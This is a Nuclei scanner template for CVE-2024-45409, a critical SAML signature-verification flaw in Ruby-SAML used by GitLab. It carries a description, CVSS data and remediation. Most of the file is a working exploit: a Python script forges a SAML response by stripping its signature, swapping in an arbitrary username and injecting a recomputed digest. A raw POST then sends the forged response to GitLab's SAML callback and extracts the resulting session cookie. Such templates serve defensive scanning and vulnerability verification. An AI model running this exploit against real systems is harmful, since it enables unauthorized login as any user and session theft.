nuclei-templates/code/cves/2024/CVE-2024-45409.yaml

124 lines
4.7 KiB
YAML

id: CVE-2024-45409
info:
name: GitLab - SAML Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
impact: |
An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.
remediation: |
This vulnerability is fixed in 1.17.0 and 1.12.3.
reference:
- https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
- https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
- https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-45409
cwe-id: CWE-347
metadata:
verified: true
shodan-query: http.title:"GitLab"
product: gitlab
vendor: gitlab
tags: cve,cve2024,saml,auth-bypass,gitlab,code
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
try:
from lxml import etree
except ImportError:
raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.")
import hashlib,os
import base64
from datetime import datetime, timedelta
import urllib.parse
import requests
username = os.getenv('username')
if not username:
username='admin@example.com'
saml_response = os.getenv('SAMLResponse')
xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
parser = etree.XMLParser(remove_blank_text=True)
root = etree.fromstring(xml_content, parser)
namespaces = {
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'ds': 'http://www.w3.org/2000/09/xmldsig#'
}
response_signature = root.find('./ds:Signature', namespaces)
if response_signature is not None:
root.remove(response_signature)
nameid = root.find(
'.//saml:NameID',
namespaces
)
if nameid is not None:
nameid.text = username
attribute_values = root.findall('.//saml:AttributeValue', namespaces)
for attr_value in attribute_values:
attr_value.text = username
assertion = root.find('.//saml:Assertion', namespaces)
if assertion is not None:
# Create a deep copy of the assertion for digest calculation
assertion_copy = etree.fromstring(etree.tostring(assertion))
signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
if signature_in_assertion is not None:
signature_in_assertion.getparent().remove(signature_in_assertion)
canonicalized_assertion = etree.tostring(
assertion_copy, method='c14n', exclusive=True, with_comments=False
)
digest = hashlib.sha256(canonicalized_assertion).digest()
digest_value = base64.b64encode(digest).decode()
else:
digest_value = ''
issuer = root.find('.//saml:Issuer', namespaces)
if issuer is not None:
parent = issuer.getparent()
index = parent.index(issuer)
extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
digest_element = etree.SubElement(
extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
)
digest_element.text = digest_value
parent.insert(index + 1, extensions)
malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring(
root, pretty_print=False, xml_declaration=True, encoding='UTF-8'
))))
print(malformed_samlresponse)
http:
- raw:
- |
POST /users/auth/saml/callback HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
RelayState=undefined&SAMLResponse={{code_response}}
matchers:
- type: dsl
dsl:
- 'contains(header,"known_sign_in")'
- 'status_code == 302'
condition: and
extractors:
- type: kval
kval:
- _gitlab_session
# digest: 4b0a00483046022100aac3014dc61bab8223d36c1bd10f19aa4886b33778e2b16cf891fce7f7c24bee022100a42cd0b25c8f4a54304541ca26f508284772b55881c43962eb396092205425ff:922c64590222798bb761d5b6d8e72950